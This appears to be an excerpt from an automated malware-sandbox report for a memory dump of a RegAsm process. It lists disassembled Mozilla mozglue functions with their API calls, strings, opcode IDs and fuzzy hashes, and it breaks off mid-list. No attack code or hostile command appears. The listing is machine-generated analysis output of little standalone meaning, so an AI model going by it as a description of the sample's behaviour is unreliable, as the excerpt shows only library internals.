Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 8b9c05c36a7ae5c44ac77f0b71d454f7294859140de57cca274873cda3fe3aa8
Instruction ID: 7d6b72f5883ed4095d8653ad4b54149af91ce81f0c260dbacfb4bc0d9be653a1
Opcode Fuzzy Hash: 8b9c05c36a7ae5c44ac77f0b71d454f7294859140de57cca274873cda3fe3aa8
Instruction Fuzzy Hash: ACF1E275A18B008FC716CF39C85062BB7F9AFD6388F15872EF846A7651DB71D8428B81

Function 6C959E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C959EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C959F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C959F34
LeaveCriticalSection.KERNEL32(?), ref: 6C95A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C95A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C95A8B1, 6C95A8D4, 6C95A8EF

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 5a592e3d95c9050f7971e47f0ad6e918db600562677c997be1373ba1874a720a
Instruction ID: 361de8262da4a1a5ccc7568351556a0a438fb5487a2037df965d7bd21acb75b7
Opcode Fuzzy Hash: 5a592e3d95c9050f7971e47f0ad6e918db600562677c997be1373ba1874a720a
Instruction Fuzzy Hash: C272AE72A157118FD304CF28C540225FBE1BF89328F69C7ADE8698B791D735E852CB94

Function 6C982C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C982C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C982C61

Part of subcall function 6C934DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C934E5A
Part of subcall function 6C934DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C934E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C982C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C982E2D

Part of subcall function 6C9481B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9481DE

Strings

expected a Time entry, xrefs: 6C982E36
(root), xrefs: 6C98354F
ProfileBuffer parse error: %s, xrefs: 6C982E3B

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 825e12b607afa7256dbeb399426119f8e9c48edcbe043ce5ed123271a4a1adad
Instruction ID: 99cafc7005019323bac3fe759111c6e3513fe1e11e933d7eb313ef17e49dd827
Opcode Fuzzy Hash: 825e12b607afa7256dbeb399426119f8e9c48edcbe043ce5ed123271a4a1adad
Instruction Fuzzy Hash: 0791CEB0609B408FC724CF24C49469FBBE4AFD9358F104D1DE99A8BB91EB30D949CB52

Function 6C999E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C999F3D
__aulldiv.LIBCMT ref: 6C999F77
__aullrem.LIBCMT ref: 6C999F8C
__aulldiv.LIBCMT ref: 6C99A023

Strings

-Infinity, xrefs: 6C999E60, 6C999E7B
NaN, xrefs: 6C999EAB

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: ec61b36fb7f1503e6bd26c976e7bcd6a6c67b40cf8db787bb589fb93cc209ef0
Instruction ID: 23c64d6bba40958825fe2a5ed3406e7c0cbf3124fa0fa7f08bd5627d084c03a4
Opcode Fuzzy Hash: ec61b36fb7f1503e6bd26c976e7bcd6a6c67b40cf8db787bb589fb93cc209ef0
Instruction Fuzzy Hash: 13C1B031E00319CFDB14CFA9C8507AEB7BAEB99304F194529D406ABB80DB71ED49CB91

Function 6C93D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C93D7DD
9, xrefs: 6C93DE7F
0, xrefs: 6C93DC7F
1, xrefs: 6C93DBDD
8, xrefs: 6C93DC08
@, xrefs: 6C93DAF6
0, xrefs: 6C93D852
, xrefs: 6C93DA88

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: fac4f59872354595ec2ade1a984face8f4d70af8c9d07aa5942f89583ffb1991
Instruction ID: a3f63084d707268fb4c51eef44ef42c50fc555a2d36dd46b5bf943b0b05344dd
Opcode Fuzzy Hash: fac4f59872354595ec2ade1a984face8f4d70af8c9d07aa5942f89583ffb1991
Instruction Fuzzy Hash: FA62E37252D3658FD701CE18C0A035EBBFAAF86318F186A4DE4D94BB91C335D985CB92

Function 6C93BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C93C1CB
__aulldiv.LIBCMT ref: 6C93C24C
__aulldiv.LIBCMT ref: 6C93C348
__aullrem.LIBCMT ref: 6C93C365
__aulldiv.LIBCMT ref: 6C93C37D

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 035a9dbb3799f88b17e691d7aa9b9bf6d92ccc61d80e3115b4f3d7176bce0281
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 92322732B04A618FCB18DE2CC890666BBD6AFD9310F09876DE499CB395D734ED05CB91

Function 6C9A545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9A8A4B

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d14bfdd842b906cb9aad05da8b05130c88aeb86b283c26762037a2facb8bce08
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 07B1D772A0061A8FDB14CFA8CC907A9B7F6FF95314F1902A9C549DB791D730D986CB90

Function 6C9A542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9A88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9A925C

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: fa2dfabdee32c04fbefed09ffb724677cdcdf9da794df16ac8303742ba269558
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: FBB1D672E0011ACFDB14CF98CC806ADB7B6EF95314F150269C949EB795D731E98ACB90

Function 6C976CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C976D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C976E1E

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: cade4b4f6572f1fdef4fbf6ffbf3d7f2fdd2e7261121f609df7eb0b10ccb3c9e
Instruction ID: c8503ad23c6130a3417bbbca85725a6315f0da4d54eda8c11bd721a338d81d77
Opcode Fuzzy Hash: cade4b4f6572f1fdef4fbf6ffbf3d7f2fdd2e7261121f609df7eb0b10ccb3c9e
Instruction Fuzzy Hash: 73A18E706193808FDB25CF24C4907AEFBE6BF99308F55491DE88A87751DB70E948CB92

Function 6C954640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C954777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C955585, 6C9555A8, 6C9555C3, 6C955624

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: c4b0eedeb923f62eb4b7e32db435a5b0efa4235425c460ca2729847884af3f01
Instruction ID: 5879363d572d7bcc045e76c7c8f9990b536425f88c4387990c379f13da910890
Opcode Fuzzy Hash: c4b0eedeb923f62eb4b7e32db435a5b0efa4235425c460ca2729847884af3f01
Instruction Fuzzy Hash: 4AB28D71A057018FC708CF19C590715BBE6BFC5328F69C7ADE46A8B6A6D731E861CB80

Function 6C9985F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C998C7C
__aulldiv.LIBCMT ref: 6C998DD7

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 95a7a17f50ff80a8046c5207491f85d1efb8739ec71ff9846c23253a1b5b0487
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7E325C71F0111A8BDB1CCE9CC8A17BEB7B6FB88300F19852ED506BB790DA349D458B95

Function 6C975C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C944A63,?,?), ref: 6C975F06

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: b6d6b04ae4a260b456bee26f3c7251fe86dbd6b6e8b4452e4a724b21510fa0f9
Instruction ID: 5924fb14ec61a55e7ed2ca273a6bcca6c1f210d431c4e7d5f6b8bfc710cce66a
Opcode Fuzzy Hash: b6d6b04ae4a260b456bee26f3c7251fe86dbd6b6e8b4452e4a724b21510fa0f9
Instruction Fuzzy Hash: 74C1F275E022099BCB24CF95C5907EEBBF6FF89318F28415DD8556BB44D732A806CBA0

Function 6C9A76E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: ca53c2b7399ee0ca465fb76aa116854f4419754f8dbf2f1e3d4a1f80840101c0
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AD32FA71E0061A8FCB14CF99C891AADFBF6FF88304F548169C549A7749D731A986CF90

Function 6C960512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d94f58ee42fb5d02735b99932e1db69094a25bb8d1a26329b756513ab0a021dd
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: F3221671E00669CFDB14CF99C890AADF7B2FF89304F548299C44AA7B45D731A986CF80

Function 6C9AAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ed2ec63473d5ad44d666401cf5ddb392fe06628946762a50c177c59aadf13d
Instruction ID: efdacf0aab62df6c7f231ce5f765db74b08006f81168c1e8fe6ec234656f0a5c
Opcode Fuzzy Hash: 94ed2ec63473d5ad44d666401cf5ddb392fe06628946762a50c177c59aadf13d
Instruction Fuzzy Hash: 7BF16C716083459FD700CEA8C8903AFB7E6AFD5318F158A2DE4D4877C1EB74D84A8B92

Function 6C9955F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C96E1A5), ref: 6C995606
LoadLibraryW.KERNEL32(gdi32,?,6C96E1A5), ref: 6C99560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C995633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C99563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C99566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C99567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C995696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9956B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9956CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9956E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9956FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C995716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C99572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C995748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C995761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C99577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C995793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9957A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9957BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9957D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9957EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9957FF

Strings

GetDpiForWindow, xrefs: 6C995690
LoadCursorW, xrefs: 6C995774
CreateWindowExW, xrefs: 6C9956C5
DeleteObject, xrefs: 6C9957F9
gdi32, xrefs: 6C99560A
SetWindowPos, xrefs: 6C9956F7
SetWindowLongPtrW, xrefs: 6C9957B7
LoadIconW, xrefs: 6C99575B
GetSystemMetricsForDpi, xrefs: 6C995677
StretchDIBits, xrefs: 6C9957CC
RegisterClassW, xrefs: 6C9956AC
MonitorFromWindow, xrefs: 6C99578D
GetMonitorInfoW, xrefs: 6C9957A2
FillRect, xrefs: 6C995729
ReleaseDC, xrefs: 6C995742
ShowWindow, xrefs: 6C9956DE
GetThreadDpiAwarenessContext, xrefs: 6C99562D
user32, xrefs: 6C995601
EnableNonClientDpiScaling, xrefs: 6C995666
GetWindowDC, xrefs: 6C995710
CreateSolidBrush, xrefs: 6C9957E4
AreDpiAwarenessContextsEqual, xrefs: 6C995637

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: f21a7da286ca07eac2ab81396eb8437cf928b8093786a81e69538bcb66d0fdc5
Instruction ID: cb37504565391e647c10d45bd9ae77e411f71fa09c39ec61e38a4211fb38c9b3
Opcode Fuzzy Hash: f21a7da286ca07eac2ab81396eb8437cf928b8093786a81e69538bcb66d0fdc5
Instruction Fuzzy Hash: 4C515878719702BBDB019F768E889373AFCAB4724A7344569F912E2A51EB70C800CF74

Function 6C97CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C94582D), ref: 6C97CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C94582D), ref: 6C97CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9AFE98,?,?,?,?,?,6C94582D), ref: 6C97CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C94582D), ref: 6C97CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C97CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C97CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C97CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C97CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C97CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C97CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C97CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C97CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C97CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C97CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C97CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C97CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C97CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C97CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C97CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C97CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C97CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C97CE8A

Strings

stackwalk, xrefs: 6C97CCF8
screenshots, xrefs: 6C97CCD4
ipcmessages, xrefs: 6C97CDBE
power, xrefs: 6C97CE84
nativeallocations, xrefs: 6C97CDA8
java, xrefs: 6C97CC37
mainthreadio, xrefs: 6C97CC7C
